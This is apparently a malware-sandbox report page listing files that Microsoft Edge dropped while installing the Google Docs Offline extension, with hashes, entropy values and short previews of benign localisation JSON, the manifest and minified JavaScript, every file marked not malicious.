SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\c249152b-1fb8-4350-b6af-cfb1d082cc9b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
